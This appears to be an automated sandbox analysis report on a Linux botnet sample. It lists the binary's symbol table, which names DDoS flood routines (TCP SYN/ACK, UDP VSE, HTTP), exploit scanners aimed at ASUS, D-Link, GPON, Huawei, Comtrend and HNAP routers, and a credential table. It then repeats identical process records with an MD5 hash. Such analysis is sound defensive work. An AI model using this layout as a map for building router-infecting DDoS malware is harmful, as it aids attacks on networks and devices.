          __uClibc_main.symtab0x224001004FUNC<unknown>DEFAULT2
          __uClibc_main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          __uclibc_progname.symtab0x322344OBJECT<unknown>HIDDEN13
          __udivsi3.symtab0x1de04252FUNC<unknown>HIDDEN2
          __write.symtab0x22030100FUNC<unknown>DEFAULT2
          __write_nocancel.symtab0x2201424FUNC<unknown>DEFAULT2
          __xstat32_conv.symtab0x22e88172FUNC<unknown>HIDDEN2
          __xstat64_conv.symtab0x22dbc204FUNC<unknown>HIDDEN2
          _bss_end__.symtab0x35b340NOTYPE<unknown>DEFAULTSHN_ABS
          _dl_aux_init.symtab0x2550c56FUNC<unknown>DEFAULT2
          _dl_nothread_init_static_tls.symtab0x2554488FUNC<unknown>HIDDEN2
          _dl_phdr.symtab0x35b2c4OBJECT<unknown>DEFAULT14
          _dl_phnum.symtab0x35b304OBJECT<unknown>DEFAULT14
          _dl_tls_dtv_gaps.symtab0x35b201OBJECT<unknown>DEFAULT14
          _dl_tls_dtv_slotinfo_list.symtab0x35b1c4OBJECT<unknown>DEFAULT14
          _dl_tls_generation.symtab0x35b244OBJECT<unknown>DEFAULT14
          _dl_tls_max_dtv_idx.symtab0x35b144OBJECT<unknown>DEFAULT14
          _dl_tls_setup.symtab0x25244104FUNC<unknown>DEFAULT2
          _dl_tls_static_align.symtab0x35b104OBJECT<unknown>DEFAULT14
          _dl_tls_static_nelem.symtab0x35b284OBJECT<unknown>DEFAULT14
          _dl_tls_static_size.symtab0x35b184OBJECT<unknown>DEFAULT14
          _dl_tls_static_used.symtab0x35b0c4OBJECT<unknown>DEFAULT14
          _edata.symtab0x323300NOTYPE<unknown>DEFAULTSHN_ABS
          _end.symtab0x35b340NOTYPE<unknown>DEFAULTSHN_ABS
          _exit.symtab0x22990104FUNC<unknown>DEFAULT2
          _exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          _fini.symtab0x270200FUNC<unknown>DEFAULT3
          _fixed_buffers.symtab0x32bd48192OBJECT<unknown>DEFAULT14
          _fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          _init.symtab0x80d40FUNC<unknown>DEFAULT1
          _memcpy.symtab0x248100FUNC<unknown>HIDDEN2
          _pthread_cleanup_pop_restore.symtab0x222ac44FUNC<unknown>DEFAULT2
          _pthread_cleanup_push_defer.symtab0x222a48FUNC<unknown>DEFAULT2
          _rfill.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          _setjmp.symtab0x2291c8FUNC<unknown>DEFAULT2
          _sigintr.symtab0x357808OBJECT<unknown>HIDDEN14
          _start.symtab0x81940FUNC<unknown>DEFAULT2
          _stdio.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          _stdio_fopen.symtab0x237141120FUNC<unknown>HIDDEN2
          _stdio_init.symtab0x23b74128FUNC<unknown>HIDDEN2
          _stdio_openlist.symtab0x322604OBJECT<unknown>DEFAULT13
          _stdio_openlist_add_lock.symtab0x32bb412OBJECT<unknown>DEFAULT14
          _stdio_openlist_dec_use.symtab0x23fe8688FUNC<unknown>HIDDEN2
          _stdio_openlist_del_count.symtab0x32bd04OBJECT<unknown>DEFAULT14
          _stdio_openlist_del_lock.symtab0x32bc012OBJECT<unknown>DEFAULT14
          _stdio_openlist_use_count.symtab0x32bcc4OBJECT<unknown>DEFAULT14
          _stdio_streams.symtab0x32264204OBJECT<unknown>DEFAULT13
          _stdio_term.symtab0x23bf4356FUNC<unknown>HIDDEN2
          _stdio_user_locking.symtab0x322484OBJECT<unknown>DEFAULT13
          _stdlib_strto_l.symtab0x20e1c472FUNC<unknown>HIDDEN2
          _stdlib_strto_l.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          _trans2r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          _wcommit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          abort.symtab0x20694296FUNC<unknown>DEFAULT2
          abort.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          add_auth_entry.symtab0x17d68352FUNC<unknown>DEFAULT2
          anti_gdb_entry.symtab0x156ec24FUNC<unknown>DEFAULT2
          asus.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          asus_fake_time.symtab0x3237c4OBJECT<unknown>DEFAULT14
          asus_rsck.symtab0x323504OBJECT<unknown>DEFAULT14
          asus_scanner_init.symtab0x82a42708FUNC<unknown>DEFAULT2
          asus_scanner_pid.symtab0x3234c4OBJECT<unknown>DEFAULT14
          asus_scanner_rawpkt.symtab0x3235440OBJECT<unknown>DEFAULT14
          asus_setup_connection.symtab0x81d0212FUNC<unknown>DEFAULT2
          atoi.symtab0x20de032FUNC<unknown>DEFAULT2
          atol.symtab0x20de032FUNC<unknown>DEFAULT2
          atol.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          attack.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          attack_app_http.symtab0xc09c8048FUNC<unknown>DEFAULT2
          attack_get_opt_int.symtab0x9118112FUNC<unknown>DEFAULT2
          attack_get_opt_ip.symtab0x90ac108FUNC<unknown>DEFAULT2
          attack_get_opt_str.symtab0x8d3892FUNC<unknown>DEFAULT2
          attack_init.symtab0x9188748FUNC<unknown>DEFAULT2
          attack_method.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          attack_method_std.symtab0xb648672FUNC<unknown>DEFAULT2
          attack_method_tcp.symtab0x9b6c1708FUNC<unknown>DEFAULT2
          attack_method_tcpfrag.symtab0xa8c41708FUNC<unknown>DEFAULT2
          attack_method_tcpstomp.symtab0xb8e81972FUNC<unknown>DEFAULT2
          attack_method_udpplain.symtab0xb3a8672FUNC<unknown>DEFAULT2
          attack_parse.symtab0x8e90540FUNC<unknown>DEFAULT2
          attack_start.symtab0x8d94252FUNC<unknown>DEFAULT2
          attack_tcp_ack.symtab0x94741784FUNC<unknown>DEFAULT2
          attack_tcp_syn.symtab0xa2181708FUNC<unknown>DEFAULT2
          attack_udp_vse.symtab0xaf701080FUNC<unknown>DEFAULT2
          auth_table.symtab0x325d84OBJECT<unknown>DEFAULT14
          auth_table_len.symtab0x325ac4OBJECT<unknown>DEFAULT14
          auth_table_max_weight.symtab0x325dc2OBJECT<unknown>DEFAULT14
          been_there_done_that.symtab0x326504OBJECT<unknown>DEFAULT14
          bind.symtab0x1ec1068FUNC<unknown>DEFAULT2
          bind.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          brk.symtab0x2559c88FUNC<unknown>DEFAULT2
          brk.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          bsd_signal.symtab0x1f1d4196FUNC<unknown>DEFAULT2
          calloc.symtab0x1fcb4320FUNC<unknown>DEFAULT2
          calloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          checksum.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          checksum_generic.symtab0xe00c80FUNC<unknown>DEFAULT2
          checksum_tcpudp.symtab0xe05c164FUNC<unknown>DEFAULT2
          clock.symtab0x1ea0c52FUNC<unknown>DEFAULT2
          clock.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          close.symtab0x21f10100FUNC<unknown>DEFAULT2
          closedir.symtab0x1e5b0272FUNC<unknown>DEFAULT2
          closedir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          completed.5105.symtab0x323301OBJECT<unknown>DEFAULT14
          comtrend.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          comtrend_fake_time.symtab0x323b84OBJECT<unknown>DEFAULT14
          comtrend_range.symtab0x320b836OBJECT<unknown>DEFAULT13
          comtrend_rsck.symtab0x3238c4OBJECT<unknown>DEFAULT14
          comtrend_scanner.symtab0xe1d83180FUNC<unknown>DEFAULT2
          comtrend_scanner_pid.symtab0x323884OBJECT<unknown>DEFAULT14
          comtrend_scanner_rawpkt.symtab0x3239040OBJECT<unknown>DEFAULT14
          comtrend_setup_connection.symtab0xe100216FUNC<unknown>DEFAULT2
          conn_table.symtab0x351144OBJECT<unknown>DEFAULT14
          connect.symtab0x1ec98116FUNC<unknown>DEFAULT2
          connect.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          dl-support.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          dlink_scanner.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          dlinkscanner_fake_time.symtab0x323ec4OBJECT<unknown>DEFAULT14
          dlinkscanner_rsck.symtab0x323c04OBJECT<unknown>DEFAULT14
          dlinkscanner_scanner_init.symtab0xef182820FUNC<unknown>DEFAULT2
          dlinkscanner_scanner_pid.symtab0x323bc4OBJECT<unknown>DEFAULT14
          dlinkscanner_scanner_rawpkt.symtab0x323c440OBJECT<unknown>DEFAULT14
          dlinkscanner_setup_connection.symtab0xee44212FUNC<unknown>DEFAULT2
          ensure_single_instance.symtab0x15704356FUNC<unknown>DEFAULT2
          environ.symtab0x32ba44OBJECT<unknown>DEFAULT14
          errno.symtab0x04TLS<unknown>DEFAULT8
          errno.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          exit.symtab0x20ff4196FUNC<unknown>DEFAULT2
          exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fake_time.symtab0x325e04OBJECT<unknown>DEFAULT14
          fclose.symtab0x233c4816FUNC<unknown>DEFAULT2
          fclose.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fcntl.symtab0x1e108244FUNC<unknown>DEFAULT2
          fd_ctrl.symtab0x321084OBJECT<unknown>DEFAULT13
          fd_serv.symtab0x3210c4OBJECT<unknown>DEFAULT13
          fd_to_DIR.symtab0x1e6c0208FUNC<unknown>DEFAULT2
          fdopendir.symtab0x1e854176FUNC<unknown>DEFAULT2
          fflush_unlocked.symtab0x24298940FUNC<unknown>DEFAULT2
          fflush_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fgetc.symtab0x23d88324FUNC<unknown>DEFAULT2
          fgetc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fgetc_unlocked.symtab0x24644300FUNC<unknown>DEFAULT2
          fgetc_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fgets.symtab0x23ecc284FUNC<unknown>DEFAULT2
          fgets.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fgets_unlocked.symtab0x24770160FUNC<unknown>DEFAULT2
          fgets_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fopen.symtab0x236f432FUNC<unknown>DEFAULT2
          fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fork.symtab0x21828972FUNC<unknown>DEFAULT2
          fork.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fork_handler_pool.symtab0x3265c1348OBJECT<unknown>DEFAULT14
          frame_dummy.symtab0x81340FUNC<unknown>DEFAULT2
          free.symtab0x20418572FUNC<unknown>DEFAULT2
          free.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          fstat.symtab0x229f8100FUNC<unknown>DEFAULT2
          fstat.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          get_eit_entry.symtab0x25bbc544FUNC<unknown>DEFAULT2
          getc.symtab0x23d88324FUNC<unknown>DEFAULT2
          getc_unlocked.symtab0x24644300FUNC<unknown>DEFAULT2
          getdents.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getdents64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getdtablesize.symtab0x22afc44FUNC<unknown>DEFAULT2
          getdtablesize.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getegid.symtab0x22b2820FUNC<unknown>DEFAULT2
          getegid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          geteuid.symtab0x22b3c20FUNC<unknown>DEFAULT2
          geteuid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getgid.symtab0x22b5020FUNC<unknown>DEFAULT2
          getgid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getpagesize.symtab0x22b6440FUNC<unknown>DEFAULT2
          getpagesize.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getpid.symtab0x21c8c72FUNC<unknown>DEFAULT2
          getpid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getppid.symtab0x1e1fc20FUNC<unknown>DEFAULT2
          getppid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getrlimit.symtab0x22b8c56FUNC<unknown>DEFAULT2
          getrlimit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getsockname.symtab0x1ed0c68FUNC<unknown>DEFAULT2
          getsockname.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getsockopt.symtab0x1ed5072FUNC<unknown>DEFAULT2
          getsockopt.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          gettimeofday.symtab0x22bc464FUNC<unknown>DEFAULT2
          gettimeofday.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          getuid.symtab0x22c0420FUNC<unknown>DEFAULT2
          getuid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          gpon443.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          gpon443_fake_time.symtab0x324204OBJECT<unknown>DEFAULT14
          gpon443_ranges.symtab0x320dc44OBJECT<unknown>DEFAULT13
          gpon443_rsck.symtab0x323f44OBJECT<unknown>DEFAULT14
          gpon443_scanner.symtab0xfaf43008FUNC<unknown>DEFAULT2
          gpon443_scanner_pid.symtab0x323f04OBJECT<unknown>DEFAULT14
          gpon443_scanner_rawpkt.symtab0x323f840OBJECT<unknown>DEFAULT14
          gpon443_setup_connection.symtab0xfa1c216FUNC<unknown>DEFAULT2
          gpon80_fake_time.symtab0x324544OBJECT<unknown>DEFAULT14
          gpon80_rsck.symtab0x324284OBJECT<unknown>DEFAULT14
          gpon80_scanner.symtab0x1078c2872FUNC<unknown>DEFAULT2
          gpon80_scanner.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          gpon80_scanner_pid.symtab0x324244OBJECT<unknown>DEFAULT14
          gpon80_scanner_rawpkt.symtab0x3242c40OBJECT<unknown>DEFAULT14
          gpon80_setup_connection.symtab0x106b4216FUNC<unknown>DEFAULT2
          h_errno.symtab0x44TLS<unknown>DEFAULT8
          hnap_scanner.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          hnapscanner_fake_time.symtab0x324884OBJECT<unknown>DEFAULT14
          hnapscanner_rsck.symtab0x3245c4OBJECT<unknown>DEFAULT14
          hnapscanner_scanner_init.symtab0x113982696FUNC<unknown>DEFAULT2
          hnapscanner_scanner_pid.symtab0x324584OBJECT<unknown>DEFAULT14
          hnapscanner_scanner_rawpkt.symtab0x3246040OBJECT<unknown>DEFAULT14
          hnapscanner_setup_connection.symtab0x112c4212FUNC<unknown>DEFAULT2
          huawei.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          huawei_fake_time.symtab0x324bc4OBJECT<unknown>DEFAULT14
          huawei_init.symtab0x11ef42752FUNC<unknown>DEFAULT2
          huawei_rsck.symtab0x324904OBJECT<unknown>DEFAULT14
          huawei_scanner_pid.symtab0x3248c4OBJECT<unknown>DEFAULT14
          huawei_scanner_rawpkt.symtab0x3249440OBJECT<unknown>DEFAULT14
          huawei_setup_connection.symtab0x11e20212FUNC<unknown>DEFAULT2
          index.symtab0x24cc0240FUNC<unknown>DEFAULT2
          inet_addr.symtab0x1ebe840FUNC<unknown>DEFAULT2
          inet_aton.symtab0x250d4248FUNC<unknown>DEFAULT2
          inet_aton.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          inet_makeaddr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          init_static_tls.symtab0x251cc120FUNC<unknown>DEFAULT2
          initfini.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
          No network behavior found

          System Behavior

          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:/tmp/STa4J3TGC8
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1
          Start time:06:29:54
          Start date:06/08/2022
          Path:/tmp/STa4J3TGC8
          Arguments:n/a
          File size:4956856 bytes
          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1